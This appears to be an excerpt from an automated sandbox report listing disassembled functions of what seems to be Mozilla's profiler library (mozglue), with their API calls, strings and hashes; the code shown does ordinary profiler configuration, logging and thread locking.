Function 6C9A5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C974A63,?,?), ref: 6C9A5F06

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 91d51bd0b99bf9ee7a06ef3d03d216e203ea299249f994d37043483ed490d7bc
Instruction ID: 4e5ce33fd76dea0a851c2f47ef242b0e6831ec76c8cb2e8f57f939aec24988a0
Opcode Fuzzy Hash: 91d51bd0b99bf9ee7a06ef3d03d216e203ea299249f994d37043483ed490d7bc
Instruction Fuzzy Hash: C4C1D275E01A099BCB04CF99C5906EEBBF6FF8A318F28415DD8556BB45D732A806CB80

Function 6C96DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4142c855acb8172d1abc02ea329f2f545da3fde3ca34d67b0cb44c0176768663
Instruction ID: ce2c7b58318e0b84884a9d16268ab1ba5e8373e1e8b1ffcea28e1bd6468ad357
Opcode Fuzzy Hash: 4142c855acb8172d1abc02ea329f2f545da3fde3ca34d67b0cb44c0176768663
Instruction Fuzzy Hash: D342A172A087518BD304CE3DC89175AB3E2BFC9364F198B2DE999A7BD0D734D9418B81

Function 6C9D76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 0ebc6e4fdf23630dc24123358578e6835c461ca9a55e0968987620edce2fe440
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 6332FA71E0061A8FCB14CF98C890AADF7B6FF88308F5585A9C549B7749D731A986CF90

Function 6C9D6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 129051dfbdf47109d22125346549a7b71f077f2eb3b97d5bd55c818db7750ebe
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 8F22D771E006198FCB14CF98C980AADF7B6FF88304F6585AAC949B7745D731A986CF90

Function 6C990512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3ad7e1e44205c6cbb74dce5697b1d3f2934bd4840bbf42ccf8143b5a0931f8f6
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 81221771E00619CFDB24CF98C890AADF7B6FF89304F588599C45AA7705D731A986CF80

Function 6C9DAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 104a1d4f600792dbecf740e3db9629e6f858578d94632c2e5315b444448896ab
Instruction ID: f647ee1b894d18281f36c2218e6d869d07e5fdf261373496c6fe6523c80de9b9
Opcode Fuzzy Hash: 104a1d4f600792dbecf740e3db9629e6f858578d94632c2e5315b444448896ab
Instruction Fuzzy Hash: 13F15A71608B458FD700CE28C8803AAB7E6AFD5318F16CA2DE4D4A7781EB74F955C792

Function 6C96C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 0f87789f549e13f194901cf071e96575f9c6e4bb450b7fed63516011928a5396
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 31A19371F0061A8BEF08CE69C8913AEB7F2AFC9354F198169E915E7785D7349C068BD0

Function 6C9A7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 25ce86b1801e4499871e3291e4349bcda2c9ee60c04ceca5766ccf145d11c721
Instruction ID: 185534ce8f289f252d1c5f603062cda4f284b50dcc17ff7a5b3d457368a920cd
Opcode Fuzzy Hash: 25ce86b1801e4499871e3291e4349bcda2c9ee60c04ceca5766ccf145d11c721
Instruction Fuzzy Hash: F4717C75E012198FCB18CFA8D8915EEBBB6FF89314F24816ED416AB744D731A906CF90

Function 6C9A58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 951b0a1a16b43d55b0f83233c587641632b93214faccf13e7b62fda1c7327c38
Instruction ID: 5d4c60100473a5be67758edd216465f545d3783538c42449a8a5739c361d1882
Opcode Fuzzy Hash: 951b0a1a16b43d55b0f83233c587641632b93214faccf13e7b62fda1c7327c38
Instruction Fuzzy Hash: D1817C75A016199FCB04CFA8D880AEEBBF6FF89314F644269D411BB741D731E946CBA0

Function 6C9ACC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C97582D), ref: 6C9ACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C97582D), ref: 6C9ACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9DFE98,?,?,?,?,?,6C97582D), ref: 6C9ACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C9ACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C9ACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C9ACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C9ACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C9ACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C9ACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C9ACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C9ACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C9ACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C9ACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C9ACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C9ACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C9ACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C9ACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C9ACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C9ACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C9ACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C9ACE8A

Strings

cpuallthreads, xrefs: 6C9ACE16
notimerresolutionchange, xrefs: 6C9ACE00
samplingallthreads, xrefs: 6C9ACE2C
leaf, xrefs: 6C9ACC66
noiostacks, xrefs: 6C9ACCBE
audiocallbacktracing, xrefs: 6C9ACDD4
nostacksampling, xrefs: 6C9ACD7C
default, xrefs: 6C9ACC21
jsallocations, xrefs: 6C9ACD0E
seqstyle, xrefs: 6C9ACCE6
unregisteredthreads, xrefs: 6C9ACE58
fileio, xrefs: 6C9ACC92
preferencereads, xrefs: 6C9ACD92
processcpu, xrefs: 6C9ACE6E
stackwalk, xrefs: 6C9ACCF8
Unrecognized feature "%s"., xrefs: 6C9ACEA0
mainthreadio, xrefs: 6C9ACC7C
nativeallocations, xrefs: 6C9ACDA8
power, xrefs: 6C9ACE84
screenshots, xrefs: 6C9ACCD4
fileioall, xrefs: 6C9ACCA8
ipcmessages, xrefs: 6C9ACDBE
java, xrefs: 6C9ACC37
markersallthreads, xrefs: 6C9ACE42

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 2ce3fc2b65e1df1d1df83457439cb152784e19b7d9c163ee3055b682f8c20a91
Instruction ID: dab010c6254599a331f99b44fb7154cf41ec0d4256262a93ff03c197371ade1f
Opcode Fuzzy Hash: 2ce3fc2b65e1df1d1df83457439cb152784e19b7d9c163ee3055b682f8c20a91
Instruction Fuzzy Hash: 1051B8D1905A2612FB0132D52D11BAA7548EFB724AF11843AED0ABDF80FF06F61B45B7

Function 6C9747C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C974801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C974817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C97482D
__Init_thread_footer.LIBCMT ref: 6C97484A

Part of subcall function 6C99AB3F: EnterCriticalSection.KERNEL32(6C9EE370,?,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284), ref: 6C99AB49
Part of subcall function 6C99AB3F: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99AB7C

GetCurrentThreadId.KERNEL32 ref: 6C97485F
GetCurrentThreadId.KERNEL32 ref: 6C97487E
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97488B
free.MOZGLUE(?), ref: 6C97493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C974956
free.MOZGLUE(00000000), ref: 6C974960
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97499A

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

free.MOZGLUE(?), ref: 6C9749C6
free.MOZGLUE(?), ref: 6C9749E9

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9747FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C974812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C974A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C974828
[I %d/%d] profiler_shutdown, xrefs: 6C974A06

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 09d37059e9485f5cb939e8e5b31f392597fd25b1e481afc8c2643cc311605fa4
Instruction ID: cdc7aef73ddd365cbf35201616628232fc6466abfdfca2354ad483032cdcf679
Opcode Fuzzy Hash: 09d37059e9485f5cb939e8e5b31f392597fd25b1e481afc8c2643cc311605fa4
Instruction Fuzzy Hash: 45812471A06200CBEB64DF28D84875A3775BF6A31CF24062AD91697B43E731E944CFA6

Function 6C974470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C974730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9744B2,6C9EE21C,6C9EF7F8), ref: 6C97473E
Part of subcall function 6C974730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C97474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9744D2
InitOnceExecuteOnce.KERNEL32(6C9EF80C,6C96F240,?,?), ref: 6C97451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C97455C
LoadLibraryW.KERNEL32(?), ref: 6C974592
InitializeCriticalSection.KERNEL32(6C9EF770), ref: 6C9745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9745BB
InitOnceExecuteOnce.KERNEL32(6C9EF818,6C96F240,?,?), ref: 6C974612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C974636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C974644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C97466D
VerSetConditionMask.NTDLL ref: 6C97469F
VerSetConditionMask.NTDLL ref: 6C9746AB
VerSetConditionMask.NTDLL ref: 6C9746B2
VerSetConditionMask.NTDLL ref: 6C9746B9
VerSetConditionMask.NTDLL ref: 6C9746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9746FD

Strings

kernel32.dll, xrefs: 6C9744CD
WRusr.dll, xrefs: 6C9744B5
NativeNtBlockSet_Write, xrefs: 6C9746F7
l, xrefs: 6C974578
user32.dll, xrefs: 6C974557, 6C97463F

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: ba6186cc0a9d32f7075c6fe85e9289580dcd09be687a055cba043cad8f9f5b7a
Instruction ID: 6c8001da77f00616909d5cdb2e9b5e432c4615f53ee91d71125fcd12a1ee1bcb
Opcode Fuzzy Hash: ba6186cc0a9d32f7075c6fe85e9289580dcd09be687a055cba043cad8f9f5b7a
Instruction Fuzzy Hash: A16127B1609344EFEB218F61DC09B9577B8EFAE70CF248499E5049B642D771CA44CFA1

Function 6C9AE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C9AB9F1,?), ref: 6C9A7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9ADCF5), ref: 6C9AE92D
GetCurrentThreadId.KERNEL32 ref: 6C9AEA4F
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEA5C
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEA80
GetCurrentThreadId.KERNEL32 ref: 6C9AEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9ADCF5), ref: 6C9AEA92
GetCurrentThreadId.KERNEL32 ref: 6C9AEB11
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C9AEB3C
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEB5B

Part of subcall function 6C9A5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9AEB71), ref: 6C9A57AB

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C9AEBAC

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AEBC1
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9AEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C9AEBE5
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,00000000), ref: 6C9AEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AEC46
CloseHandle.KERNEL32(?), ref: 6C9AEC55
free.MOZGLUE(00000000), ref: 6C9AEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C9AEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C9AEA9B

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: c9420bc0aa32cdd7b0d474505409d15a1a1c50cfc5fed2be34274c580b54314a
Instruction ID: 83e9bcd2a02299f8544257fea0ba4ff7711a0a8f837b4db0aecfba8a223d3c62
Opcode Fuzzy Hash: c9420bc0aa32cdd7b0d474505409d15a1a1c50cfc5fed2be34274c580b54314a
Instruction Fuzzy Hash: C1A137317043049FDB409FA8D848B6677B5FFFA308F24442AE91987B51EB31D816CBA5

Function 6C9AF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF70E
